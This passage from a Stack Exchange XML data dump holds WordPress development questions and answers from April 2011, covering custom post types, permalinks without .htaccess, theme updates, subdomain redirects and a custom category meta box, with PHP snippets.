'&amp;lt;br /&amp;gt;&amp;lt;span class=&quot;voted&quot;&amp;gt;'.__(&quot;Voted&quot;).'&amp;lt;/span&amp;gt;';&#xA;echo '&amp;lt;/div&amp;gt;';&#xA;if(!$user_ID) echo '&amp;lt;div class=&quot;signup&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;'.get_bloginfo('url').'/wp-login.php?action=register&quot;&amp;gt;'.__('Register').'&amp;lt;/a&amp;gt; '.__('to vote').'.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-12T02:04:10.953" LastActivityDate="2011-06-23T22:54:57.297" Title="How to enable users to down-vote in this simple voting counter (that uses the post meta)?" Tags="&lt;plugin-development&gt;&lt;post-meta&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="14534" PostTypeId="2" ParentId="14524" CreationDate="2011-04-12T01:49:51.813" Score="2" ViewCount="" Body="&lt;p&gt;It's not that difficult at all its simply styling you category loop in to a table something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;Photo&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Item Brand, Model&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Description&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;PSI&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;GPM&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;RPM&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;HP&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Stock No.&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php &#xA;    while (have_posts()){&#xA;        the_post();&#xA;        ?&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;?php&#xA;                if(has_post_thumbnail()) {&#xA;                    the_post_thumbnail();&#xA;                } else {&#xA;                    echo '&amp;lt;img src=&quot;'.get_bloginfo(&quot;template_url&quot;).'/images/img-default.png&quot; /&amp;gt;';&#xA;                }&#xA;                ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'PSI',true); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'GPM',true); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'RPM',true); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'HP',true); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'Stock_No',true); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;    ?&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It uses the post thumbnail as image , name as title and link to the &quot;full post&quot;, the excerpt as description and assumes that you have custom fields named : PSI, GPM, RPM, HP and Stock_No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now after that is done you can use custom post type say you call it products and different it from you regular posts using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;register_post_type&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'custom_products_post_type_init');&#xA;function custom_products_post_type_init() &#xA;{&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x('Products', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Product', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'Product'),&#xA;    'add_new_item' =&amp;gt; __('Add New Product'),&#xA;    'edit_item' =&amp;gt; __('Edit Product'),&#xA;    'new_item' =&amp;gt; __('New Product'),&#xA;    'view_item' =&amp;gt; __('View Product'),&#xA;    'search_items' =&amp;gt; __('Search Products'),&#xA;    'not_found' =&amp;gt;  __('No Products found'),&#xA;    'not_found_in_trash' =&amp;gt; __('No Products found in Trash'), &#xA;    'parent_item_colon' =&amp;gt; '',&#xA;    'menu_name' =&amp;gt; 'Products'&#xA;&#xA;  );&#xA;  $args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true, &#xA;    'show_in_menu' =&amp;gt; true, &#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'has_archive' =&amp;gt; true, &#xA;    'hierarchical' =&amp;gt; false,&#xA;    'taxonomies' =&amp;gt; array('category', 'post_tag'),&#xA;    'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt','comments','custom-fields')&#xA;  ); &#xA;  register_post_type('product',$args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you do it this way you just need to add a simple argument to query above the loop using query_post to let it know you are using your custom post type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;query_posts('post_type='product');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-12T01:49:51.813" />
  <row Id="14535" PostTypeId="2" ParentId="14530" CreationDate="2011-04-12T02:01:07.087" Score="1" ViewCount="" Body="&lt;p&gt;If your form is already loaded inside fancybox you can updated it using ajax and simply assign the results to that fancybox instance &lt;code&gt;$.fancybox(ajaxdata);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a better understanding take a look at example 5 at &lt;a href=&quot;http://fancybox.net/blog&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this page&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-12T02:01:07.087" />
  <row Id="14536" PostTypeId="1" AcceptedAnswerId="14540" CreationDate="2011-04-12T02:33:22.227" Score="1" ViewCount="188" Body="&lt;p&gt;This is a page that list posts witht he category &lt;code&gt;Content (CDs)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;tagline&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;?php // Run main loop (The Loop). ?&amp;gt;&#xA;        &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;content0&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); // &amp;lt;- I want to get this ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;mainbar&quot;&amp;gt;&#xA;            &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;            &amp;lt;?php $custom_posts-&amp;gt;query('category_name=Content (CDs)'); ?&amp;gt;&#xA;            &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;content-block-4&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;single.php&lt;/code&gt; has the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;content0&quot;&amp;gt;&#xA;        &amp;lt;?php $parent = get_post($post-&amp;gt;post_parent); ?&amp;gt;&#xA;        &amp;lt;?php $parent-&amp;gt;post_content; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But still can't get &lt;code&gt;the_content&lt;/code&gt; of the parent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-12T05:43:31.523" Title="Can't get the_content of the parent page from its single post?" Tags="&lt;posts&gt;&lt;page&gt;&lt;single&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="14537" PostTypeId="2" ParentId="10303" CreationDate="2011-04-12T02:45:13.863" Score="1" ViewCount="" Body="&lt;p&gt;there is plenty of plugins in the wordpress directory. here is one&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/popular-widget/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/popular-widget/screenshots/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2011-04-12T02:45:13.863" />
  <row Id="14538" PostTypeId="2" ParentId="11882" CreationDate="2011-04-12T05:33:57.737" Score="0" ViewCount="" Body="&lt;p&gt;A possible replacement for that action would be the $_SERVER['REQUEST_URI'] variable. This basically guarantees a post-back to the current page. Just put it right in front of the /# in the action attribute.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php $_SERVER['REQUEST_URI']; ?&amp;gt;/#wpcf7-f1-t1-o1&quot;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, what #wpcf7-f1-t1-o1 is referring to is just the ID of an element on the page to act as an anchor, so when the page loads, it pops right down to that element.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-12T05:33:57.737" />
  <row Id="14539" PostTypeId="1" AcceptedAnswerId="14548" CreationDate="2011-04-12T05:40:06.197" Score="2" ViewCount="203" Body="&lt;p&gt;I have moved a Wordpress install to a client from sub folder to the root folder. Right now, everything  works fine, except for the friendly URLs. I currently have to set the Permalink feature in &quot;Common settings&quot; to &quot;Default&quot;, which means URLs with ?p=434... At least they work. Otherewise I get a very short 404 not found error message on a white screen. I was following &lt;a href=&quot;http://mwolk.com/blog/move-wordpress-blog-from-subfolder-to-root-folder/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial, but I found I cannot write an .htaccess to my Yahoo host account and so I could not follow  one of the last steps... I wonder if the 404 not found errors have to do with this problem I have had uploading the .htaccess file... I currently do not have any .htaccess file up there... So maybe MOD_REWRITE is disabled... I have just ran phpinfo() and did not find any entry on mod_rewrite. Before moving the website, when it was still on a subfolder, the friendly URLs used to work, but now they don't. Has anyone came accross this experience and has successfully restablished the permalinks feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4603" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-12T21:56:28.473" LastActivityDate="2011-06-10T14:17:47.593" Title="WordPress permalinks  Yahoo hosting(no .htaccess allowed) " Tags="&lt;permalinks&gt;&lt;htaccess&gt;" AnswerCount="4" />
  <row Id="14540" PostTypeId="2" ParentId="14536" CreationDate="2011-04-12T05:43:31.523" Score="2" ViewCount="" Body="&lt;p&gt;I think you need to do two things &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;add '&lt;em&gt;echo&lt;/em&gt;' to last line   &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;?php echo $parent-&gt;post_content; ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;add '&lt;em&gt;global $post;&lt;/em&gt;', before accessing the $post.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;let me know if this does not work.&lt;/p&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-04-12T05:43:31.523" CommentCount="2" />
  <row Id="14541" PostTypeId="1" CreationDate="2011-04-12T05:56:03.350" Score="0" ViewCount="44" Body="&lt;p&gt;I recently performed the 3.1.1 update on a localhost install, but first performed a backup of my entire wamp directory. Once the install was complete, it seems all the edits to my functions page are now gone. This was my custom post types &amp;amp; taxonomies. I have my backups, so I guess I can just copy and paste. but will I have to do this every time there's an update? Did I perform the update wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don&lt;/p&gt;&#xA;" OwnerUserId="2815" LastActivityDate="2011-04-12T06:10:01.310" Title="3.1 update erases customized function page?" Tags="&lt;updates&gt;" AnswerCount="2" />
  <row Id="14542" PostTypeId="2" ParentId="14541" CreationDate="2011-04-12T06:06:55.167" Score="2" ViewCount="" Body="&lt;p&gt;Were those updates done to the default Twenty-Ten theme? If so, it was probably steamrolled by the update. Next time, if you are making edits to 'twentyten', go ahead and make a copy of it and save it under a different folder name, then switch to it from 'Appearance-&gt;Themes' in the dashboard, it shouldn't be touched by the update again.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-12T06:06:55.167" CommentCount="3" />
  <row Id="14543" PostTypeId="2" ParentId="14541" CreationDate="2011-04-12T06:10:01.310" Score="2" ViewCount="" Body="&lt;p&gt;I'm assuming that you are using twenty ten, if so when updating WordPress you update twenty ten them and that means that all changes made to the theme files will be lost, and that is why you should use child themes to make changes to any theme.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-12T06:10:01.310" CommentCount="3" />
  <row Id="14544" PostTypeId="1" AcceptedAnswerId="14613" CreationDate="2011-04-12T06:18:15.017" Score="2" ViewCount="194" Body="&lt;p&gt;I'm finding a way to redirect to a sub-domain. Sub-domains contain instances of multiple languages, say for an example -:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mysite/?p=7694&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the English site and I want it to redirect to (when user selects particular language)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://chinese.mysite/?p=7694&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way of doing this want to know if there are any plugins to do so. This the requirement of my client, and they wont to do it in that way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4532" LastActivityDate="2011-04-12T22:35:01.863" Title="Wordpress | Sub-domain switching" Tags="&lt;multi-language&gt;&lt;subdomains&gt;" AnswerCount="2" />
  <row Id="14545" PostTypeId="2" ParentId="14544" CreationDate="2011-04-12T06:31:35.160" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-subdomains/&quot; rel=&quot;nofollow&quot;&gt;WP Subdomains&lt;/a&gt; its a plugin for WordPress that allows you to setup your main categories, pages and authors as subdomains.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-12T06:31:35.160" />
  <row Id="14547" PostTypeId="1" AcceptedAnswerId="14550" CreationDate="2011-04-12T07:04:21.817" Score="0" ViewCount="52" Body="&lt;p&gt;Is there any RSS feed to keep track of the &lt;a href=&quot;http://wordpress.org/extend/plugins/browse/new/&quot; rel=&quot;nofollow&quot;&gt;Newest Plugins&lt;/a&gt; published on wordpress.org?&lt;/p&gt;&#xA;" OwnerUserId="4606" LastEditorUserId="4606" LastEditorDisplayName="" LastEditDate="2011-04-12T07:15:57.750" LastActivityDate="2011-04-12T17:32:35.920" Title="How to keep track of new plugins published on wordpress.org?" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="14548" PostTypeId="2" ParentId="14539" CreationDate="2011-04-12T07:39:41.613" Score="4" ViewCount="" Body="&lt;p&gt;Yahoo doesn't allow users access to the htaccess file which means that you can't the mod_rewrite rules needed for custom permlinks.&#xA;The Only way around it that i've heard it works (never tried it myself) is to add /index.php/ to the beginning of your custom structure so:&#xA;Go to Permalink Settings &gt; Select Custom Structure. And set the value as &lt;code&gt;/index.php/%postname%/&lt;/code&gt;&#xA;or what ever you want as long as you add /index.php/ before it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-12T07:39:41.613" CommentCount="2" />
  <row Id="14549" PostTypeId="1" CreationDate="2011-04-12T07:49:26.860" Score="0" ViewCount="63" Body="&lt;p&gt;I created a taxonomy for my portfolio and I call it &quot;work&quot; how do I prevent the recurrence of the categories for each post?for example I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;work (taxonomy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---&gt; 2011 MAGAZINE&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;post-A     &lt;/li&gt;&#xA;&lt;li&gt;post-A         &lt;/li&gt;&#xA;&lt;li&gt;post-A    &lt;/li&gt;&#xA;&lt;li&gt;post-A      &lt;/li&gt;&#xA;&lt;li&gt;post-A&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My intention is that the word &quot;2011 MAGAZINE&quot;should be shown only one time and not repeated for each post.how i can do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4608" LastActivityDate="2011-04-12T07:49:26.860" Title="Display custom taxonomies as category" Tags="&lt;custom-taxonomy&gt;" CommentCount="2" />
  <row Id="14550" PostTypeId="2" ParentId="14547" CreationDate="2011-04-12T08:02:56.790" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Found it from the dashboard widget code, its &lt;a href=&quot;http://wordpress.org/extend/plugins/rss/browse/new/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/rss/browse/new/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, you can use Page2rss.com to create a feed for that page - &lt;a href=&quot;http://page2rss.com/page?url=wordpress.org/extend/plugins/browse/new/&quot; rel=&quot;nofollow&quot;&gt;http://page2rss.com/page?url=wordpress.org/extend/plugins/browse/new/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-04-12T17:32:35.920" LastActivityDate="2011-04-12T17:32:35.920" CommentCount="4" />
  <row Id="14551" PostTypeId="2" ParentId="13854" CreationDate="2011-04-12T09:09:57.117" Score="0" ViewCount="" Body="&lt;p&gt;I have solved the problem myself, but it is not a pretty one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the function attached to the &lt;code&gt;add_meta_boxes&lt;/code&gt; action hook, I change the callback function that builds the category box. It replaces this function with the customized function &lt;code&gt;post_categories_meta_box_custom&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;post_categories_meta_box_custom&lt;/code&gt; is a copy of &lt;code&gt;post_categories_meta_box&lt;/code&gt; from &lt;code&gt;wp-admin/includes/meta-boxes.php&lt;/code&gt;. With the help of &lt;a href=&quot;http://sourceforge.net/projects/simplehtmldom/&quot; rel=&quot;nofollow&quot;&gt;simple-html-dom&lt;/a&gt; the &lt;code&gt;&amp;lt;li&amp;gt;...&amp;lt;/li&amp;gt;&lt;/code&gt; with the specified id is removed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function terms_meta_boxes($post_type, $post) {&#xA;    global $wp_meta_boxes;&#xA;&#xA;    foreach ($wp_meta_boxes[$post_type] as $context =&amp;gt; $priorities) {&#xA;        foreach ($priorities as $priority =&amp;gt; $ids) {&#xA;            foreach ($ids as $id =&amp;gt; $meta_box) {&#xA;                $tax = get_taxonomy( $meta_box['args']['taxonomy'] );&#xA;                if ( $tax-&amp;gt;hierarchical ) {&#xA;                    $wp_meta_boxes[$post_type][$context][$priority][$id]['callback'] = 'post_categories_meta_box_custom';&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;add_action('add_meta_boxes', 'terms_meta_boxes', 10, 2);&#xA;&#xA;/**&#xA; * Custom function to display post categories form fields.&#xA; * Original wp function: post_categories_meta_box.&#xA; *&#xA; * @param object $post&#xA; */&#xA;function post_categories_meta_box_custom( $post, $box ) {&#xA;    $defaults = array('taxonomy' =&amp;gt; 'category');&#xA;    if ( !isset($box['args']) || !is_array($box['args']) )&#xA;        $args = array();&#xA;    else&#xA;        $args = $box['args'];&#xA;    extract( wp_parse_args($args, $defaults), EXTR_SKIP );&#xA;    $tax = get_taxonomy($taxonomy);&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div id=&quot;taxonomy-&amp;lt;?php echo $taxonomy; ?&amp;gt;&quot; class=&quot;categorydiv&quot;&amp;gt;&#xA;        &amp;lt;ul id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;-tabs&quot; class=&quot;category-tabs&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;tabs&quot;&amp;gt;&amp;lt;a href=&quot;#&amp;lt;?php echo $taxonomy; ?&amp;gt;-all&quot; tabindex=&quot;3&quot;&amp;gt;&amp;lt;?php echo $tax-&amp;gt;labels-&amp;gt;all_items; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;hide-if-no-js&quot;&amp;gt;&amp;lt;a href=&quot;#&amp;lt;?php echo $taxonomy; ?&amp;gt;-pop&quot; tabindex=&quot;3&quot;&amp;gt;&amp;lt;?php _e( 'Most Used' ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;-pop&quot; class=&quot;tabs-panel&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;            &amp;lt;ul id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;checklist-pop&quot; class=&quot;categorychecklist form-no-clear&quot; &amp;gt;&#xA;                &amp;lt;?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;-all&quot; class=&quot;tabs-panel&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;            $name = ( $taxonomy == 'category' ) ? 'post_category' : 'tax_input[' . $taxonomy . ']';&#xA;            echo &quot;&amp;lt;input type='hidden' name='{$name}[]' value='0' /&amp;gt;&quot;; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks.&#xA;            ?&amp;gt;&#xA;            &amp;lt;ul id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;checklist&quot; class=&quot;list:&amp;lt;?php echo $taxonomy?&amp;gt; categorychecklist form-no-clear&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                ob_start();&#xA;                wp_terms_checklist($post-&amp;gt;ID, array( 'taxonomy' =&amp;gt; $taxonomy, 'popular_cats' =&amp;gt; $popular_ids ) );&#xA;                $html_checklist = str_get_html(ob_get_clean());&#xA;                $disabled_cats = get_option('disabled_cats', array());&#xA;                foreach ($disabled_cats[$taxonomy] as $cat) {&#xA;                    $html_checklist-&amp;gt;find('li#category-' . $cat, 0)-&amp;gt;outertext = '';&#xA;                }&#xA;                echo $html_checklist-&amp;gt;save();&#xA;                ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php if ( current_user_can($tax-&amp;gt;cap-&amp;gt;edit_terms) ) : ?&amp;gt;&#xA;            &amp;lt;div id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;-adder&quot; class=&quot;wp-hidden-children&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&#xA;                    &amp;lt;a id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;-add-toggle&quot; href=&quot;#&amp;lt;?php echo $taxonomy; ?&amp;gt;-add&quot; class=&quot;hide-if-no-js&quot; tabindex=&quot;3&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                            /* translators: %s: add new taxonomy label */&#xA;                            printf( __( '+ %s' ), $tax-&amp;gt;labels-&amp;gt;add_new_item );&#xA;                        ?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;-add&quot; class=&quot;category-add wp-hidden-child&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;new&amp;lt;?php echo $taxonomy; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $tax-&amp;gt;labels-&amp;gt;add_new_item; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;new&amp;lt;?php echo $taxonomy; ?&amp;gt;&quot; id=&quot;new&amp;lt;?php echo $taxonomy; ?&amp;gt;&quot; class=&quot;form-required form-input-tip&quot; value=&quot;&amp;lt;?php echo esc_attr( $tax-&amp;gt;labels-&amp;gt;new_item_name ); ?&amp;gt;&quot; tabindex=&quot;3&quot; aria-required=&quot;true&quot;/&amp;gt;&#xA;                    &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;new&amp;lt;?php echo $taxonomy; ?&amp;gt;_parent&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $tax-&amp;gt;labels-&amp;gt;parent_item_colon; ?&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;?php wp_dropdown_categories( array( 'taxonomy' =&amp;gt; $taxonomy, 'hide_empty' =&amp;gt; 0, 'name' =&amp;gt; 'new'.$taxonomy.'_parent', 'orderby' =&amp;gt; 'name', 'hierarchical' =&amp;gt; 1, 'show_option_none' =&amp;gt; '&amp;amp;mdash; ' . $tax-&amp;gt;labels-&amp;gt;parent_item . ' &amp;amp;mdash;', 'tab_index' =&amp;gt; 3 ) ); ?&amp;gt;&#xA;                    &amp;lt;input type=&quot;button&quot; id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;-add-submit&quot; class=&quot;add:&amp;lt;?php echo $taxonomy ?&amp;gt;checklist:&amp;lt;?php echo $taxonomy ?&amp;gt;-add button category-add-sumbit&quot; value=&quot;&amp;lt;?php echo esc_attr( $tax-&amp;gt;labels-&amp;gt;add_new_item ); ?&amp;gt;&quot; tabindex=&quot;3&quot; /&amp;gt;&#xA;                    &amp;lt;?php wp_nonce_field( 'add-'.$taxonomy, '_ajax_nonce-add-'.$taxonomy, false ); ?&amp;gt;&#xA;                    &amp;lt;span id=&quot;&amp;lt;?php echo $taxonomy; ?&amp;gt;-ajax-response&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    